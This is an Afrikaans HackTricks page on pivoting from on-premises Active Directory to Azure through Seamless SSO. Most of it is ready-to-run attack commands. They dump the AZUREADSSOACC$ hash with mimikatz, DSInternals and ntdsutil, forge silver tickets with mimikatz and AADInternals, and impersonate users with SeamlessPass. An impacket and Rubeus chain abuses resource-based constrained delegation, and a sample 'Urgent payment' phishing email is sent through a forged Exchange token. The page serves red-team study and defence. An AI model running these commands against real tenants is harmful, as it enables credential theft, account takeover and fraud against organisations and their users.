Az - Seamless SSO

Tip

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer & oefen Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

Basiese Inligting

Uit die dokumentasie: Azure Active Directory Seamless Single Sign-On (Azure AD Seamless SSO) teken gebruikers outomaties in wanneer hulle op hul korporatiewe toestelle wat aan jou korporatiewe netwerk gekoppel is. Wanneer geaktiveer, hoef gebruikers nie hul wagwoorde in te tik om in te teken by Azure AD nie, en gewoonlik, selfs nie hul gebruikersname nie. Hierdie funksie bied jou gebruikers maklike toegang tot jou wolk-gebaseerde toepassings sonder dat enige addisionele plaaslike komponente benodig word.

https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/how-to-connect-sso-how-it-works

Basies teken Azure AD Seamless SSO gebruikers in wanneer hulle op ’n plaaslike domein-verbonden PC is.

Dit word deur beide PHS (Wagwoord Hash Sync) en PTA (Pass-through Authentication) ondersteun.

Desktop SSO gebruik Kerberos vir verifikasie. Wanneer geconfigureer, skep Azure AD Connect ’n rekenaarrekening genaamd AZUREADSSOACC$ in plaaslike AD. Die wagwoord van die AZUREADSSOACC$ rekening word as platte teks na Entra ID gestuur tydens die konfigurasie.

Die Kerberos kaartjies is geënkripteer met die NTHash (MD4) van die wagwoord en Entra ID gebruik die gestuurde wagwoord om die kaartjies te ontsleutel.

Entra ID stel ’n eindpunt (https://autologon.microsoftazuread-sso.com) beskikbaar wat Kerberos kaartjies aanvaar. Die blaaier van die domein-verbonden masjien stuur die kaartjies na hierdie eindpunt vir SSO.

Enumerasie

# Check if the SSO is enabled in the tenant
Import-Module AADInternals
Invoke-AADIntReconAsOutsider -Domain <domain name> | Format-Table

# Check if the AZUREADSSOACC$ account exists in the domain
Install-WindowsFeature RSAT-AD-PowerShell
Import-Module ActiveDirectory
Get-ADComputer -Filter "SamAccountName -like 'AZUREADSSOACC$'"

# Check it using raw LDAP queries without needing an external module
$searcher = New-Object System.DirectoryServices.DirectorySearcher
$searcher.Filter = "(samAccountName=AZUREADSSOACC`$)"
$searcher.FindOne()

Pivoting: On-prem -> cloud

Warning

Die belangrikste ding om te weet oor hierdie aanval is dat om net die TGT of ’n spesifieke TGS van ’n gebruiker wat gesinkroniseer is met Entra ID te hĂȘ, genoeg is om toegang tot die wolkbronne te verkry.
Dit is omdat dit ’n kaartjie is wat ’n gebruiker toelaat om in die wolk aan te meld.

Om daardie TGS-kaartjie te verkry, moet die aanvaller een van die volgende hĂȘ:

  • ’n Gecompromitteerde gebruiker se TGS: As jy ’n gebruiker se sessie met die kaartjie na HTTP/autologon.microsoftazuread-sso.com in geheue kompromitteer, kan jy dit gebruik om toegang tot die wolkbronne te verkry.
  • ’n Gecompromitteerde gebruiker se TGT: Selfs as jy nie een het nie, maar die gebruiker was gecompromitteer, kan jy een kry deur ’n vals TGT-delegasie-trik wat in baie gereedskap geĂŻmplementeer is, soos Kekeo en Rubeus.
  • ’n Gecompromitteerde gebruiker se hash of wagwoord: SeamlessPass sal met die domeinbeheerder kommunikeer met hierdie inligting om die TGT te genereer en dan die TGS.
  • ’n goue kaartjie: As jy die KRBTGT-sleutel het, kan jy die TGT wat jy vir die aangevalde gebruiker nodig het, skep.
  • Die AZUREADSSOACC$ rekening hash of wagwoord: Met hierdie inligting en die gebruiker se Veiligheidsidentifiseerder (SID) om aan te val, is dit moontlik om ’n dienskaartjie te skep en met die wolk te autentiseer (soos in die vorige metode uitgevoer).

SeamlessPass

Soos verduidelik in hierdie blogpos, is dit baie maklik om enige van die vorige vereistes te hĂȘ en net die gereedskap SeamlessPass te gebruik om toegang tot die wolkbronne te verkry as die gecompromitteerde gebruiker, of as enige gebruiker as jy die AZUREADSSOACC$ rekening hash of wagwoord het.

Laastens, met die TGT is dit moontlik om die gereedskap SeamlessPass te gebruik met:

# Using the TGT to access the cloud
seamlesspass -tenant corp.com -domain corp.local -dc dc.corp.local -tgt <base64_encoded_TGT>
# Using the TGS to access the cloud
seamlesspass -tenant corp.com -tgs user_tgs.ccache
# Using the victims account hash or password to access the cloud
seamlesspass -tenant corp.com -domain corp.local -dc dc.corp.local -username user -ntlm DEADBEEFDEADBEEFDEADBEEFDEADBEEF
seamlesspass -tenant corp.com -domain corp.local -dc 10.0.1.2 -username user -password password
# Using the AZUREADSSOACC$ account hash (ntlm or aes) to access the cloud with a specific user SID and domain SID
seamlesspass -tenant corp.com -adssoacc-ntlm DEADBEEFDEADBEEFDEADBEEFDEADBEEF -user-sid S-1-5-21-1234567890-1234567890-1234567890-1234
seamlesspass -tenant corp.com -adssoacc-aes DEADBEEFDEADBEEFDEADBEEFDEADBEEF -domain-sid S-1-5-21-1234567890-1234567890-1234567890 -user-rid 1234
wmic useraccount get name,sid # Get the user SIDs

Verder inligting om Firefox te stel om met naatlose SSO te werk kan gevind word in hierdie blogpos.

Kry hashes van die AZUREADSSOACC$ rekening

Die wagwoord van die gebruiker AZUREADSSOACC$ verander nooit. Daarom kan ’n domein admin die hash van hierdie rekening kompromitteer, en dit dan gebruik om silwer kaartjies te skep om met enige on-prem gebruiker gesinkroniseer aan Azure te koppel:

# Dump hash using mimikatz
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\azureadssoacc$ /domain:domain.local /dc:dc.domain.local"'
mimikatz.exe "lsadump::dcsync /user:AZUREADSSOACC$" exit

# Dump hash using https://github.com/MichaelGrafnetter/DSInternals
Get-ADReplAccount -SamAccountName 'AZUREADSSOACC$' -Domain contoso -Server lon-dc1.contoso.local

# Dump using ntdsutil and DSInternals
## Dump NTDS.dit
ntdsutil "ac i ntds" "ifm” "create full C:\temp" q q
## Extract password
Install-Module DSInternals
Import-Module DSInternals
$key = Get-BootKey -SystemHivePath 'C:\temp\registry\SYSTEM'
(Get-ADDBAccount -SamAccountName 'AZUREADSSOACC$' -DBPath 'C:\temp\Active Directory\ntds.dit' -BootKey $key).NTHash | Format-Hexos

Note

Met die huidige inligting kan jy net die hulpmiddel SeamlessPass gebruik soos voorheen aangedui om azure en entraid tokens vir enige gebruiker in die domein te verkry. Jy kan ook die vorige tegnieke (en ander) gebruik om die hash van die wagwoord van die slagoffer wat jy wil naboots, te verkry in plaas van die AZUREADSSOACC$ rekening.

Creating Silver Tickets

Met die hash kan jy nou silver tickets genereer:

# Get users and SIDs
Get-AzureADUser | Select UserPrincipalName,OnPremisesSecurityIdentifier

# Create a silver ticket to connect to Azure with mimikatz
Invoke-Mimikatz -Command '"kerberos::golden /user:onpremadmin /sid:S-1-5-21-123456789-1234567890-123456789 /id:1105 /domain:domain.local /rc4:<azureadssoacc hash> /target:autologon.microsoftazuread-sso.com /service:HTTP /ptt"'
mimikatz.exe "kerberos::golden /user:elrond /sid:S-1-5-21-2121516926-2695913149-3163778339 /id:1234 /domain:contoso.local /rc4:12349e088b2c13d93833d0ce947676dd /target:autologon.microsoftazuread-sso.com /service:HTTP /ptt" exit

# Create silver ticket with AADInternal to access Exchange Online
$kerberos=New-AADIntKerberosTicket -SidString "S-1-5-21-854168551-3279074086-2022502410-1104" -Hash "097AB3CBED7B9DD6FE6C992024BC38F4"
$at=Get-AADIntAccessTokenForEXO -KerberosTicket $kerberos -Domain company.com
## Send email
Send-AADIntOutlookMessage -AccessToken $at -Recipient "someone@company.com" -Subject "Urgent payment" -Message "<h1>Urgent!</h1><br>The following bill should be paid asap."

Gebruik van Silver Tickets met Firefox

Om die silwer kaartjie te gebruik, moet die volgende stappe uitgevoer word:

  1. Begin die Blaaier: Mozilla Firefox moet gelaai word.
  2. Konfigureer die Blaaier:
  • Navigeer na about:config.
  • Stel die voorkeur vir network.negotiate-auth.trusted-uris op die gespesifiseerde waarde:
  • https://aadg.windows.net.nsatc.net,https://autologon.microsoftazuread-sso.com
  • Navigeer na Firefox Settings > Soek vir Allow Windows single sign-on for Microsoft, work and school accounts en stel dit in.
  1. Toegang tot die Webtoepassing:
  • Besoek ’n webtoepassing wat geĂŻntegreer is met die organisasie se AAD-domein. ’n Algemene voorbeeld is login.microsoftonline.com.
  1. Verifikasieproses:
  • By die aanmeldskerm moet die gebruikersnaam ingevoer word, terwyl die wagwoordveld leeg gelaat word.
  • Om voort te gaan, druk TAB of ENTER.

Warning

Dit omseil nie MFA as dit geaktiveer is in die gebruiker nie.

On-prem -> Cloud via Resource Based Constrained Delegation

Om die aanval uit te voer, is die volgende nodig:

  • WriteDACL / GenericWrite oor AZUREADSSOACC$
  • ’n rekenaarrekening wat jy beheer (hash & wagwoord) - Jy kan een skep
  1. Stap 1 – Voeg jou eie rekenaarrekening by
  • Skep ATTACKBOX$ en druk sy SID/NTLM-hash. Enige domein gebruiker kan dit doen terwyl MachineAccountQuota > 0
# Impacket
python3 addcomputer.py CONTOSO/bob:'P@ssw0rd!' -dc-ip 10.0.0.10 \
-computer ATTACKBOX$ -password S3cureP@ss
  1. Stap 2 – Gee RBCD op AZUREADSSOACC$ - Skryf jou masjien se SID in msDS-AllowedToActOnBehalfOfOtherIdentity.
python3 rbcd.py CONTOSO/bob:'P@ssw0rd!'@10.0.0.10 \
ATTACKBOX$ AZUREADSSOACC$

# Or, from Windows:
$SID = (Get-ADComputer ATTACKBOX$).SID
Set-ADComputer AZUREADSSOACC$ `
-PrincipalsAllowedToDelegateToAccount $SID
  1. Stap 3 – Vervals ’n TGS vir enige gebruiker (bv. alice)
# Using your machine's password or NTLM hash
python3 getST.py -dc-ip 192.168.1.10 \
-spn HTTP/autologon.microsoftazuread-sso.com \
-impersonate alice \
DOMAIN/ATTACKBOX$ -hashes :9b3c0d06d0b9a6ef9ed0e72fb2b64821

# Produces alice.autologon.ccache

#Or, from Windows:
Rubeus s4u /user:ATTACKBOX$ /rc4:9b3c0d06d0b9a6ef9ed0e72fb2b64821 `
/impersonateuser:alice `
/msdsspn:"HTTP/autologon.microsoftazuread-sso.com" /dc:192.168.1.10 /ptt

U kan nou die TGS gebruik om toegang tot Azure hulpbronne te verkry as die geĂŻmpersoniseerde gebruiker.

Skep van Kerberos-kaarte vir slegs-cloud gebruikers

As die Active Directory administrateurs toegang tot Azure AD Connect het, kan hulle SID vir enige cloud-gebruiker stel. Op hierdie manier kan Kerberos kaarte ook vir slegs-cloud gebruikers geskep word. Die enigste vereiste is dat die SID ’n behoorlike SID.

Caution

Die verandering van SID van slegs-cloud admin gebruikers is nou geblokkeer deur Microsoft.
Vir inligting, kyk https://aadinternals.com/post/on-prem_admin/

Verwysings

Tip

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer & oefen Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks